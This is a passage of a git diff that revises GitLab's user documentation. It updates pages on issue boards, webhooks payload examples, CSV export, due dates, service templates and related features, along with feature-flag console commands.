configuration](#manually-setting-up-nginx-ingress-for-prometheus-monitoring) required depending on your installation: - -- NGINX Ingress should be version 0.9.0 or above, with metrics enabled. -- NGINX Ingress should be annotated for Prometheus monitoring. -- Prometheus should be configured to monitor annotated pods. - -### About managed NGINX Ingress deployments - -NGINX Ingress is deployed into the `gitlab-managed-apps` namespace, using the [official Helm chart](https://github.com/helm/charts/tree/master/stable/nginx-ingress). NGINX Ingress is [externally reachable via the Load Balancer's Endpoint](../../../clusters/applications.md#ingress). - -NGINX is configured for Prometheus monitoring, by setting: - -- `enable-vts-status: "true"`, to export Prometheus metrics. -- `prometheus.io/scrape: "true"`, to enable automatic discovery. -- `prometheus.io/port: "10254"`, to specify the metrics port. - -When used in conjunction with the GitLab deployed Prometheus service, response metrics are automatically collected. - -### Manually setting up NGINX Ingress for Prometheus monitoring - Version 0.9.0 and above of [NGINX Ingress](https://github.com/kubernetes/ingress-nginx) has built-in support for exporting Prometheus metrics. To enable, a ConfigMap setting must be passed: `enable-vts-status: "true"`. Once enabled, a Prometheus metrics endpoint begins running on port 10254. Next, the Ingress needs to be annotated for Prometheus monitoring. Two new annotations need to be added: diff --git a/doc/user/project/integrations/services_templates.md b/doc/user/project/integrations/services_templates.md index 93ce74eb735..37df48c75f8 100644 --- a/doc/user/project/integrations/services_templates.md +++ b/doc/user/project/integrations/services_templates.md @@ -1,67 +1,9 @@ --- -stage: Create -group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +redirect_to: '../../admin_area/settings/project_integration_management.md' +remove_date: '2021-09-09' --- -# Service templates **(FREE)** +This document was moved to [another location](../../admin_area/settings/project_integration_management.md). -WARNING: -Service templates are [deprecated and scheduled to be removed](https://gitlab.com/gitlab-org/gitlab/-/issues/268032) -in GitLab 14.0. Use [project integration management](#central-administration-of-project-integrations) instead. - -Using a service template, GitLab administrators can: - -- Provide default values for configuring integrations when creating new projects. -- Bulk configure all existing projects in one step. - -When you enable a service template: - -- The defaults are applied to **all** existing projects that either: - - Don't already have the integration enabled. - - Don't have custom values stored for already enabled integrations. -- Values are populated on each project's configuration page for the applicable - integration. -- Settings are stored at the project level. - -If you disable the template: - -- GitLab default values again become the default values for integrations on - new projects. -- Projects previously configured using the template continue to use those settings. - -If you change the template, the revised values are applied to new projects. This feature -does not provide central administration of integration settings. - -## Central administration of project integrations - -A new set of features is being introduced in GitLab to provide more control over -how integrations are configured at the instance, group, and project level. For -more information, read more about: - -- [Setting up project integration management](../../admin_area/settings/project_integration_management.md) (introduced in GitLab 13.3) -- [Our plans for managing integrations](https://gitlab.com/groups/gitlab-org/-/epics/2137). - -## Enable a service template - -Navigate to the **Admin Area > Service Templates** and choose the service -template you wish to create. - -Recommendation: - -- Test the settings on some projects individually before enabling a template. -- Copy the working settings from a project to the template. - -There is no "Test settings" option when enabling templates. If the settings do not work, -these incorrect settings are applied to all existing projects that do not already have -the integration configured. Fixing the integration then needs to be done project-by-project. - -## Service for external issue trackers - -The following image shows an example service template for Redmine. - - - -For each project, you still need to configure the issue tracking -URLs by replacing `:issues_tracker_id` in the above screenshot with the ID used -by your external issue tracker. +<!-- This redirect file can be deleted after <2021-09-09>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/integrations/webex_teams.md b/doc/user/project/integrations/webex_teams.md index b2bf8e5731a..05515c58161 100644 --- a/doc/user/project/integrations/webex_teams.md +++ b/doc/user/project/integrations/webex_teams.md @@ -27,7 +27,8 @@ notifications: 1. Navigate to: - **Settings > Integrations** in a project to enable the integration at the project level. - **Settings > Integrations** in a group to enable the integration at the group level. - - **Settings > Integrations** in the Admin Area (**{admin}**) to enable an instance-level integration. + - On the top bar, select **Menu >** **{admin}** **Admin**. Then, in the left sidebar, + select **Settings > Integrations** to enable an instance-level integration. 1. Select the **Webex Teams** integration. 1. Ensure that the **Active** toggle is enabled. 1. Select the checkboxes corresponding to the GitLab events you want to receive in Webex Teams. diff --git a/doc/user/project/integrations/webhooks.md b/doc/user/project/integrations/webhooks.md index d74a2bec1f6..406b1e9ba6b 100644 --- a/doc/user/project/integrations/webhooks.md +++ b/doc/user/project/integrations/webhooks.md @@ -34,8 +34,10 @@ Webhooks are available: - Per project, at a project's **Settings > Webhooks** menu. **(FREE)** - Additionally per group, at a group's **Settings > Webhooks** menu. **(PREMIUM)** -NOTE: -On GitLab.com, the [maximum number of webhooks and their size](../../../user/gitlab_com/index.md#webhooks) per project, and per group, is limited. +GitLab.com enforces various [webhook limits](../../../user/gitlab_com/index.md#webhooks), including: + +- The maximum number of webhooks and their size, both per project, and per group. +- The number of webhook calls per minute. ## Possible uses for webhooks @@ -308,8 +310,10 @@ X-Gitlab-Event: Issue Hook "duplicated_to_id": null, "time_estimate": 0, "total_time_spent": 0, + "time_change": 0, "human_total_time_spent": null, "human_time_estimate": null, + "human_time_change": null, "weight": null, "iid": 23, "url": "http://example.com/diaspora/issues/23", @@ -1161,6 +1165,7 @@ X-Gitlab-Event: Pipeline Hook "id": 380987, "description": "shared-runners-manager-6.gitlab.com", "active": true, + "runner_type": "instance_type", "is_shared": true, "tags": [ "linux", @@ -1196,7 +1201,8 @@ X-Gitlab-Event: Pipeline Hook "id":380987, "description":"shared-runners-manager-6.gitlab.com", "active":true, - "is_shared":true, + "runner_type": "instance_type", + "is_shared": true, "tags": [ "linux", "docker" @@ -1230,6 +1236,7 @@ X-Gitlab-Event: Pipeline Hook "id": 380987, "description": "shared-runners-manager-6.gitlab.com", "active": true, + "runner_type": "instance_type", "is_shared": true, "tags": [ "linux", @@ -1333,6 +1340,7 @@ X-Gitlab-Event: Job Hook }, "runner": { "active": true, + "runner_type": "project_type", "is_shared": false, "id": 380987, "description": "shared-runners-manager-6.gitlab.com", diff --git a/doc/user/project/issue_board.md b/doc/user/project/issue_board.md index e1b6956f873..8f71d469e34 100644 --- a/doc/user/project/issue_board.md +++ b/doc/user/project/issue_board.md @@ -34,11 +34,11 @@ boards in the same project. Different issue board features are available in different [GitLab tiers](https://about.gitlab.com/pricing/), as shown in the following table: -| Tier | Number of project issue boards | Number of [group issue boards](#group-issue-boards) | [Configurable issue boards](#configurable-issue-boards) | [Assignee lists](#assignee-lists) | -|------------------|--------------------------------|------------------------------|---------------------------|----------------| -| Free | Multiple | 1 | No | No | -| Premium | Multiple | Multiple | Yes | Yes | -| Ultimate | Multiple | Multiple | Yes | Yes | +| Tier | Number of project issue boards | Number of [group issue boards](#group-issue-boards) | [Configurable issue boards](#configurable-issue-boards) | [Assignee lists](#assignee-lists) | +| -------- | ------------------------------ | --------------------------------------------------- | ------------------------------------------------------- | --------------------------------- | +| Free | Multiple | 1 | No | No | +| Premium | Multiple | Multiple | Yes | Yes | +| Ultimate | Multiple | Multiple | Yes | Yes | To learn more, visit [GitLab Enterprise features for issue boards](#gitlab-enterprise-features-for-issue-boards) below. @@ -203,7 +203,7 @@ When visiting a board, issues appear ordered in any list. You're able to change that order by dragging the issues. The changed order is saved, so that anybody who visits the same board later sees the reordering, with some exceptions. -The first time a given issue appears in any board (that is, the first time a user +The first time an issue appears in any board (that is, the first time a user loads a board containing that issue), it is ordered in relation to other issues in that list. The order is done according to [label priority](labels.md#label-priority). @@ -222,6 +222,28 @@ This ordering also affects [issue lists](issues/sorting_issue_lists.md). Changing the order in an issue board changes the ordering in an issue list, and vice versa. +### GraphQL-based issue boards + +<!-- This anchor is linked from #blocked-issues as well. --> + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/285074) in GitLab 13.9. +> - [Deployed behind a feature flag](../feature_flags.md), disabled by default. +> - Disabled on GitLab.com. +> - Not recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-graphql-based-issue-boards). **(FREE SELF)** + +This in-development feature might not be available for your use. There can be +[risks when enabling features still in development](../feature_flags.md#risks-when-enabling-features-still-in-development). +Refer to this feature's version history for more details. + +The work-in-progress GraphQL-based boards come with these features: + +- [Edit more issue attributes](#edit-an-issue) +- [View blocked issues](#blocked-issues) + +The GraphQL-based Issue Board is a work in progress. +Learn more about the known issues in [epic 5596](https://gitlab.com/groups/gitlab-org/-/epics/5596). + ## GitLab Enterprise features for issue boards GitLab issue boards are available on the GitLab Free tier, but some @@ -269,40 +291,12 @@ especially in combination with [assignee lists](#assignee-lists).  -### Group issue boards **(PREMIUM)** +### Group issue boards Accessible at the group navigation level, a group issue board offers the same features as a project-level board. -It can display issues from all projects in that -group and its descendant subgroups. Similarly, you can only filter by group labels for these -boards. When updating milestones and labels for an issue through the sidebar update mechanism, again only -group-level objects are available. - -#### GraphQL-based sidebar for group issue boards **(PREMIUM)** - -<!-- When the feature flag is removed, integrate this section into the above ("Group issue boards"). --> -<!-- This anchor is linked from #blocked-issues as well. --> - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/285074) in GitLab 13.9. -> - It's [deployed behind a feature flag](../feature_flags.md), disabled by default. -> - It's disabled on GitLab.com. -> - It's not recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-graphql-based-sidebar-for-group-issue-boards). **(PREMIUM SELF)** - -WARNING: -This feature might not be available to you. Check the **version history** note above for details. - -The work-in-progress GraphQL-based sidebar for group issue boards brings better performance and the -ability to edit issue titles in the issue sidebar. - -To **edit an issue's title** in the issue sidebar: - -1. In a group issue board, select the issue card. The issue sidebar opens on the right. -1. Next to the issue's title, select **Edit**. +It can display issues from all projects that fall under the group and its descendant subgroups. -This is work in progress as of GitLab 13.9. Learn more about the known issues in -[MR 51480](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/51480). - -<!-- Add this at the end of the file --> +Users on GitLab Free can use a single group issue board. ### Assignee lists **(PREMIUM)** @@ -318,7 +312,7 @@ assignee list: 1. Search and select the user you want to add as an assignee. Now that the assignee list is added, you can assign or unassign issues to that user -by [dragging issues](#drag-issues-between-lists) to and from an assignee list. +by [moving issues](#move-issues-and-lists) to and from an assignee list. To remove an assignee list, just as with a label list, click the trash icon.  @@ -334,7 +328,7 @@ milestone, giving you more freedom and visibility on the issue board. To add a m 1. Select the **Milestone** tab. 1. Search and click the milestone. -Like the assignee lists, you're able to [drag issues](#drag-issues-between-lists) +Like the assignee lists, you're able to [drag issues](#move-issues-and-lists) to and from a milestone list to manipulate the milestone of the dragged issues. As in other list types, click the trash icon to remove a list. @@ -361,7 +355,7 @@ iteration. To add an iteration list: 1. In the dropdown, select an iteration. 1. Select **Add to board**. -Like the milestone lists, you're able to [drag issues](#drag-issues-between-lists) +Like the milestone lists, you're able to [drag issues](#move-issues-and-lists) to and from a iteration list to manipulate the iteration of the dragged issues.  @@ -399,7 +393,7 @@ appears on the right. There you can see and edit the issue's: - Weight - Notifications setting -You can also [drag issues](#drag-issues-between-lists) to change their position and epic assignment: +You can also [drag issues](#move-issues-and-lists) to change their position and epic assignment: - To reorder an issue, drag it to the new position within a list. - To assign an issue to another epic, drag it to the epic's horizontal lane. @@ -442,27 +436,49 @@ status. When you hover over the blocked icon (**{issue-block}**), a detailed information popover is displayed. -To enable this in group issue boards, enable the [GraphQL-based sidebar](#graphql-based-sidebar-for-group-issue-boards). -The feature is enabled by default when you use group issue boards with epic swimlanes. +This feature is only supported when using the [GraphQL-based boards](#graphql-based-issue-boards). The feature is enabled by default regardless when you use group issue boards in epic swimlanes mode.  ## Actions you can take on an issue board +- [Edit an issue](#edit-an-issue). - [Create a new list](#create-a-new-list). - [Remove an existing list](#remove-a-list). - [Remove an issue from a list](#remove-an-issue-from-a-list). - [Filter issues](#filter-issues) that appear across your issue board. - [Create workflows](#create-workflows). -- [Drag issues between lists](#drag-issues-between-lists). +- [Move issues and lists](#move-issues-and-lists). - [Multi-select issue cards](#multi-select-issue-cards). - Drag and reorder the lists. - Change issue labels (by dragging an issue between lists). -- Close an issue (by dragging it to the **Done** list). +- Close an issue (by dragging it to the **Closed** list). If you're not able to do some of the things above, make sure you have the right [permissions](#permissions). +### Edit an issue + +You can edit an issue without leaving the board view. +To open the right sidebar, select an issue card (not its title). + +You can edit the following issue attributes in the right sidebar: + +- Assignees +- [Epic](../group/epics/index.md) +- Milestone +- Time tracking value (view only) +- Due date +- Labels +- [Weight](issues/issue_weight.md) +- Notifications setting + +When you use [GraphQL-based boards](#graphql-based-issue-boards), you can also edit the following issue attributes: + +- Title +- [Iteration](../group/iterations/index.md) +- Confidentiality + ### Create a new list Create a new list by clicking the **Add list** dropdown button in the upper right corner of the issue board. @@ -480,12 +496,12 @@ You can now choose it to create a list. ### Remove a list Removing a list doesn't have any effect on issues and labels, as it's just the -list view that's removed. You can always restore it later if you need. +list view that's removed. You can always create it again later if you need. To remove a list from an issue board: -1. Select the **List settings** icon (**{settings}**) on the top of the list you want to remove. The - list settings sidebar opens on the right. +1. On the top of the list you want to remove, select the **List settings** icon (**{settings}**). + The list settings sidebar opens on the right. 1. Select **Remove list**. A confirmation dialog appears. 1. Select **OK**. @@ -516,9 +532,8 @@ The steps depend on the scope of the list: ### Filter issues -You should be able to use the filters on top of your issue board to show only -the results you want. It's similar to the filtering used in the issue tracker, -as the metadata from the issues and labels is re-used in the issue board. +You can use the filters on top of your issue board to show only +the results you want. It's similar to the filtering used in the [issue tracker](issues/index.md). You can filter by the following: @@ -532,6 +547,16 @@ You can filter by the following: - Release - Weight +#### Filtering issues in a group board + +When [filtering issues](#filter-issues) in a **group** board, keep this behavior in mind: + +- Milestones: you can filter by the milestones belonging to the group and its descendant groups. +- Labels: you can only filter by the labels belonging to the group but not its descendant groups. + +When you edit issues individually using the right sidebar, you can additionally select the +milestones and labels from the **project** that the issue is from. + ### Create workflows By reordering your lists, you can create workflows. As lists in issue boards are @@ -570,20 +595,45 @@ to another list, the label changes and a system note is recorded.  -### Drag issues between lists +### Move issues and lists + +You can move issues and lists by dragging them. + +Prerequisites: -When dragging issues between lists, different behavior occurs depending on the source list and the target list. +- A minimum of [Reporter](../permissions.md#project-members-permissions) access to a project in GitLab. -| | To Open | To Closed | To label `B` list | To assignee `Bob` list | -| ------------------------------ | ------------------ | ------------ | ---------------------------- | ------------------------------------- | -| **From Open** | - | Issue closed | `B` added | `Bob` assigned | -| **From Closed** | Issue reopened | - | Issue reopened<br/>`B` added | Issue reopened<br/>`Bob` assigned | -| **From label `A` list** | `A` removed | Issue closed | `A` removed<br/>`B` added | `Bob` assigned | -| **From assignee `Alice` list** | `Alice` unassigned | Issue closed | `B` added | `Alice` unassigned<br/>`Bob` assigned | +To move an issue, select the issue card and drag it to another position in its current list or +into a different list. Learn about possible effects in [Dragging issues between lists](#dragging-issues-between-lists). + +To move a list, select its top bar, and drag it horizontally. +You can't move the **Open** and **Closed** lists, but you can hide them when editing an issue board. + +#### Dragging issues between lists + +To move an issue to another list, select the issue card and drag it onto that list. + +When you drag issues between lists, the result is different depending on the source list +and the target list. + +| | To Open | To Closed | To label B list | To assignee Bob list | +| ---------------------------- | -------------- | ----------- | ------------------------------ | ----------------------------- | +| **From Open** | - | Close issue | Add label B | Assign Bob | +| **From Closed** | Reopen issue | - | Reopen issue and add label B | Reopen issue and assign Bob | +| **From label A list** | Remove label A | Close issue | Remove label A and add label B | Assign Bob | +| **From assignee Alice list** | Unassign Alice | Close issue | Add label B | Unassign Alice and assign Bob | ### Multi-select issue cards -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18954) in GitLab 12.4. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18954) in GitLab 12.4. +> - [Placed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61955) behind a [feature flag](../feature_flags.md), disabled by default in GitLab 14.0. +> - Disabled on GitLab.com. +> - Not recommended for production use. +> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-multi-selecting-issue-cards). **(FREE SELF)** + +This in-development feature might not be available for your use. There can be +[risks when enabling features still in development](../feature_flags.md#risks-when-enabling-features-still-in-development). +Refer to this feature's version history for more details. You can select multiple issue cards, then drag the group to another position within the list, or to another list. This makes it faster to reorder many issues at once. @@ -626,10 +676,14 @@ A few things to remember: by default. If you have more than 20 issues, start scrolling down and the next 20 appear. -## Enable or disable GraphQL-based sidebar for group issue boards **(PREMIUM SELF)** +### Enable or disable GraphQL-based issue boards **(FREE SELF)** -GraphQL-based sidebar for group issue boards is under development and not ready for production use. -It is deployed behind a feature flag that is **disabled by default**. +NOTE: +When enabling GraphQL-based issue boards, you must also enable the +[new add list form](#enable-or-disable-new-add-list-form). + +GraphQL-based issue boards is not ready for production use. +It is deployed behind a feature flag that is **disabled by default** as of GitLab 13.12. [GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) can enable it. @@ -685,3 +739,22 @@ To disable it: ```ruby Feature.disable(:iteration_board_lists) ``` + +### Enable or disable multi-selecting issue cards **(FREE SELF)** + +Multi-selecting issue cards is under development and not ready for production use. It is +deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:board_multi_select) +``` + +To disable it: + +```ruby +Feature.disable(:board_multi_select) +``` diff --git a/doc/user/project/issues/confidential_issues.md b/doc/user/project/issues/confidential_issues.md index 25357a1db0b..ed15d7a2e63 100644 --- a/doc/user/project/issues/confidential_issues.md +++ b/doc/user/project/issues/confidential_issues.md @@ -77,11 +77,11 @@ least [Reporter access](../../permissions.md#project-members-permissions). Howev confidential issues, but can only view the ones that they created themselves. Confidential issues are also hidden in search results for unprivileged users. -For example, here's what a user with Maintainer and Guest access sees in the -project's search results respectively. +For example, here's what a user with the [Maintainer role](../../permissions.md) and Guest access +sees in the project's search results respectively. -| Maintainer access | Guest access | -| :-----------: | :----------: | +| Maintainer role | Guest access | +|:---------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------| |  |  | ## Merge Requests for Confidential Issues diff --git a/doc/user/project/issues/csv_export.md b/doc/user/project/issues/csv_export.md index 5c95665230a..29adf396d4d 100644 --- a/doc/user/project/issues/csv_export.md +++ b/doc/user/project/issues/csv_export.md @@ -4,41 +4,46 @@ group: unassigned info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Export Issues to CSV +# Export issues to CSV **(FREE)** > Moved to GitLab Free in 12.10. -Issues can be exported as CSV from GitLab and are sent to your default notification email as an attachment. +You can export issues as CSV files from GitLab, which are sent to your default +notification email address as an attachment. -## Overview +**Export Issues to CSV** enables you and your team to export all the data +collected from issues into a **[comma-separated values](https://en.wikipedia.org/wiki/Comma-separated_values)** (CSV) +file, which stores tabular data in plain text. -**Export Issues to CSV** enables you and your team to export all the data collected from issues into -a **[comma-separated values](https://en.wikipedia.org/wiki/Comma-separated_values)** (CSV) file, -which stores tabular data in plain text. +> _CSVs are a handy way of getting data from one program to another where one +program cannot read the other ones normal output._ [Ref](https://www.quora.com/What-is-a-CSV-file-and-its-uses) -> _CSVs are a handy way of getting data from one program to another where one program cannot read the other ones normal output._ [Ref](https://www.quora.com/What-is-a-CSV-file-and-its-uses) +CSV files can be used with any plotter or spreadsheet-based program, such as +Microsoft Excel, Open Office <!-- vale gitlab.Spelling = NO --> Calc, <!-- vale gitlab.Spelling = NO -->, +or Google Sheets. -CSV files can be used with any plotter or spreadsheet-based program, such as Microsoft Excel, -Open Office <!-- vale gitlab.Spelling = NO --> Calc, <!-- vale gitlab.Spelling = NO --> or Google Spreadsheets. +Here are some of the uses of exporting issues as CSV files: -## Use cases - -Among numerous use cases for exporting issues for CSV, we can name a few: - -- Make a snapshot of issues for offline analysis or to communicate with other teams who may not be in GitLab -- Create diagrams, graphs, and charts from the CSV data -- Present the data in any other format for auditing or sharing reasons -- Import the issues elsewhere to a system outside of GitLab -- Long-term issues' data analysis with multiple snapshots created along the time -- Use the long-term data to gather relevant feedback given in the issues, and improve your product based on real metrics +- Make a snapshot of issues for offline analysis or to communicate with other + teams who may not be in GitLab. +- Create diagrams, graphs, and charts from the CSV data. +- Present the data in any other format for auditing or sharing reasons. +- Import the issues elsewhere to a system outside of GitLab. +- Long-term issues' data analysis with multiple snapshots created along the + time. +- Use the long-term data to gather relevant feedback given in the issues, and + improve your product based on real metrics. ## Choosing which issues to include -After selecting a project, from the issues page you can narrow down which issues to export using the search bar, along with the All/Open/Closed tabs. All issues returned are exported, including those not shown on the first page. +After selecting a project, from the issues page you can narrow down which +issues to export using the search bar, along with the All/Open/Closed tabs. All +issues returned are exported, including those not shown on the first page.  -GitLab asks you to confirm the number of issues and email address for the export, after which the email is prepared. +GitLab asks you to confirm the number of issues and email address for the +export, after which the email is prepared.  @@ -48,33 +53,41 @@ Exported issues are always sorted by `Issue ID`. ## Format -Data is encoded with a comma as the column delimiter, with `"` used to quote fields if needed, and newlines to separate rows. The first row contains the headers, which are listed in the following table along with a description of the values: - -| Column | Description | -|---------|-------------| -| Issue ID | Issue `iid` | -| URL | A link to the issue on GitLab | -| Title | Issue `title` | -| State | `Open` or `Closed` | -| Description | Issue `description` | -| Author | Full name of the issue author | -| Author Username | Username of the author, with the `@` symbol omitted | -| Assignee | Full name of the issue assignee | +Data is encoded with a comma as the column delimiter, with `"` used to quote +fields if needed, and newlines to separate rows. The first row contains the +headers, which are listed in the following table along with a description of +the values: + +| Column | Description | +|-------------------|-------------| +| Issue ID | Issue `iid` | +| URL | A link to the issue on GitLab | +| Title | Issue `title` | +| State | `Open` or `Closed` | +| Description | Issue `description` | +| Author | Full name of the issue author | +| Author Username | Username of the author, with the `@` symbol omitted | +| Assignee | Full name of the issue assignee | | Assignee Username | Username of the author, with the `@` symbol omitted | -| Confidential | `Yes` or `No` | -| Locked | `Yes` or `No` | -| Due Date | Formatted as `YYYY-MM-DD` | -| Created At (UTC) | Formatted as `YYYY-MM-DD HH:MM:SS` | -| Updated At (UTC) | Formatted as `YYYY-MM-DD HH:MM:SS` | -| Milestone | Title of the issue milestone | -| Weight | Issue weight | -| Labels | Title of any labels joined with a `,` | -| Time Estimate | [Time estimate](../time_tracking.md#estimates) in seconds | -| Time Spent | [Time spent](../time_tracking.md#time-spent) in seconds | -| Epic ID | ID of the parent epic **(ULTIMATE)**, introduced in 12.7 | -| Epic Title | Title of the parent epic **(ULTIMATE)**, introduced in 12.7 | +| Confidential | `Yes` or `No` | +| Locked | `Yes` or `No` | +| Due Date | Formatted as `YYYY-MM-DD` | +| Created At (UTC) | Formatted as `YYYY-MM-DD HH:MM:SS` | +| Updated At (UTC) | Formatted as `YYYY-MM-DD HH:MM:SS` | +| Milestone | Title of the issue milestone | +| Weight | Issue weight | +| Labels | Title of any labels joined with a `,` | +| Time Estimate | [Time estimate](../time_tracking.md#estimates) in seconds | +| Time Spent | [Time spent](../time_tracking.md#time-spent) in seconds | +| Epic ID | ID of the parent epic **(ULTIMATE)**, introduced in 12.7 | +| Epic Title | Title of the parent epic **(ULTIMATE)**, introduced in 12.7 | ## Limitations - Export Issues to CSV is not available at the Group's Issues List. -- As the issues are sent as an email attachment, there is a limit on how much data can be exported. Currently this limit is 15MB to ensure successful delivery across a range of email providers. If this limit is reached we suggest narrowing the search before export, perhaps by exporting open and closed issues separately. +- Issues are sent as an email attachment, with a 15 MB export limit to ensure + successful delivery across a range of email providers. If you reach the limit, + we suggest narrowing the search before export, perhaps by exporting open and + closed issues separately. +- CSV files are plain text files. This means that the exported CSV file doesn't + contain any issue attachments. diff --git a/doc/user/project/issues/csv_import.md b/doc/user/project/issues/csv_import.md index de7a36a4886..02a4f6a4384 100644 --- a/doc/user/project/issues/csv_import.md +++ b/doc/user/project/issues/csv_import.md @@ -4,7 +4,7 @@ group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Importing issues from CSV +# Importing issues from CSV **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/23532) in GitLab 11.7. diff --git a/doc/user/project/issues/design_management.md b/doc/user/project/issues/design_management.md index 2a003e68a73..e0eb35d1e49 100644 --- a/doc/user/project/issues/design_management.md +++ b/doc/user/project/issues/design_management.md @@ -48,7 +48,7 @@ If the requirements are not met, the **Designs** tab displays a message to the u Files uploaded must have a file extension of either `png`, `jpg`, `jpeg`, `gif`, `bmp`, `tiff`, `ico`, `webp`, or `svg`. -Support for [PDF](https://gitlab.com/gitlab-org/gitlab/issues/32811) is planned for a future release. +Support for [PDF](https://gitlab.com/gitlab-org/gitlab/-/issues/32811) is planned for a future release. ## Limitations @@ -219,11 +219,14 @@ There are two ways to resolve/unresolve a Design thread:  +Resolving a discussion thread also marks any pending to-do items related to notes +inside the thread as done. This is applicable only for to-do items owned by the user triggering the action. + Note that your resolved comment pins disappear from the Design to free up space for new discussions. However, if you need to revisit or find a resolved discussion, all of your resolved threads are available in the **Resolved Comment** area at the bottom of the right sidebar. -## Add to dos for designs +## Add to-do items for designs > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/198439) in GitLab 13.4. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/245074) in GitLab 13.5. diff --git a/doc/user/project/issues/due_dates.md b/doc/user/project/issues/due_dates.md index a82823947dc..5b8dd617ab9 100644 --- a/doc/user/project/issues/due_dates.md +++ b/doc/user/project/issues/due_dates.md @@ -4,13 +4,9 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Due dates +# Due dates **(FREE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/3614) in GitLab 8.7. - -Please read through the [GitLab Issue Documentation](index.md) for an overview on GitLab Issues. - -Due dates can be used in issues to keep track of deadlines and make sure features are +Due dates can be used in [issues](index.md) to keep track of deadlines and make sure features are shipped on time. Users need at least [Reporter permissions](../../permissions.md) to be able to edit the due date. All users with permission to view the issue can view the due date. @@ -24,11 +20,11 @@ the user setting the due date.  -You can also set a due date via the issue sidebar. Expand the -sidebar and click **Edit** to pick a due date or remove the existing one. +You can also set a due date by using the issue sidebar. Expand the +sidebar and select **Edit** to pick a due date or remove the existing one. Changes are saved immediately. - + The last way to set a due date is by using [quick actions](../quick_actions.md), directly in an issue's description or comment: @@ -52,9 +48,9 @@ of the issue. Like the due date, the "day before the due date" is determined by server's timezone. Issues with due dates can also be exported as an iCalendar feed. The URL of the -feed can be added to calendar applications. The feed is accessible by clicking -on the **Subscribe to calendar** button on the following pages: +feed can be added to calendar applications. The feed is accessible by selecting +the **Subscribe to calendar** button on the following pages: -- on the **Assigned Issues** page that is linked on the right-hand side of the GitLab header -- on the **Project Issues** page -- on the **Group Issues** page +- The **Assigned Issues** page linked on the right side of the GitLab header +- The **Project Issues** page +- The **Group Issues** page diff --git a/doc/user/project/issues/img/issue_type_change_v13_12.png b/doc/user/project/issues/img/issue_type_change_v13_12.png Binary files differnew file mode 100644 index 00000000000..3b4864ffbbb --- /dev/null +++ b/doc/user/project/issues/img/issue_type_change_v13_12.png diff --git a/doc/user/project/issues/issue_data_and_actions.md b/doc/user/project/issues/issue_data_and_actions.md index 3af6c528db9..13f5beadb16 100644 --- a/doc/user/project/issues/issue_data_and_actions.md +++ b/doc/user/project/issues/issue_data_and_actions.md @@ -221,7 +221,7 @@ merge request is also listed here. You can award emojis to issues. You can select the "thumbs up" and "thumbs down", or the gray "smiley-face" to choose from the list of available -[GitLab Flavored Markdown Emoji](../../markdown.md#emoji). +[GitLab Flavored Markdown Emoji](../../markdown.md#emojis). NOTE: Posting "+1" as a comment in a thread spams all subscribed participants of that issue, diff --git a/doc/user/project/issues/managing_issues.md b/doc/user/project/issues/managing_issues.md index 9e8a75743a7..35573518626 100644 --- a/doc/user/project/issues/managing_issues.md +++ b/doc/user/project/issues/managing_issues.md @@ -315,10 +315,15 @@ issues are still displayed, but are not closed automatically.  +The automatic issue closing is also disabled in a project if the project has the issue tracker +disabled. If you want to enable automatic issue closing, make sure to +[enable GitLab Issues](../settings/index.md#sharing-and-permissions). + This only applies to issues affected by new merge requests or commits. Already -closed issues remain as-is. Disabling automatic issue closing only affects merge -requests *in* the project and does not prevent other projects from closing it -via cross-project issues. +closed issues remain as-is. +If issue tracking is enabled, disabling automatic issue closing only applies to merge requests +attempting to automatically close issues within the same project. +Merge requests in other projects can still close another project's issues. #### Customizing the issue closing pattern **(FREE SELF)** @@ -326,9 +331,20 @@ In order to change the default issue closing pattern, GitLab administrators must [`gitlab.rb` or `gitlab.yml` file](../../../administration/issue_closing_pattern.md) of your installation. +## Change the issue type + +Users with [developer permission](../../permissions.md) +can change an issue's type. To do this, edit the issue and select an issue type from the +**Issue type** selector menu: + +- [Issue](index.md) +- [Incident](../../../operations/incident_management/index.md) + + + ## Deleting issues -Users with [project owner permission](../../permissions.md) can delete an issue by +Users with the [Owner role](../../permissions.md) can delete an issue by editing it and selecting **Delete issue**.  diff --git a/doc/user/project/labels.md b/doc/user/project/labels.md index 0cb5b5d993e..e7adc045e98 100644 --- a/doc/user/project/labels.md +++ b/doc/user/project/labels.md @@ -282,4 +282,4 @@ To resolve the duplication, [in GitLab 13.2](https://gitlab.com/gitlab-org/gitla and later, some duplicate labels have `_duplicate<number>` appended to their titles. You can safely change these labels' titles if you prefer. -For details of the original problem, see [issue 30390](https://gitlab.com/gitlab-org/gitlab/issues/30390). +For details of the original problem, see [issue 30390](https://gitlab.com/gitlab-org/gitlab/-/issues/30390). diff --git a/doc/user/project/members/img/access_requests_management_v13_9.png b/doc/user/project/members/img/access_requests_management_v13_9.png Binary files differdeleted file mode 100644 index b7883e9d134..00000000000 --- 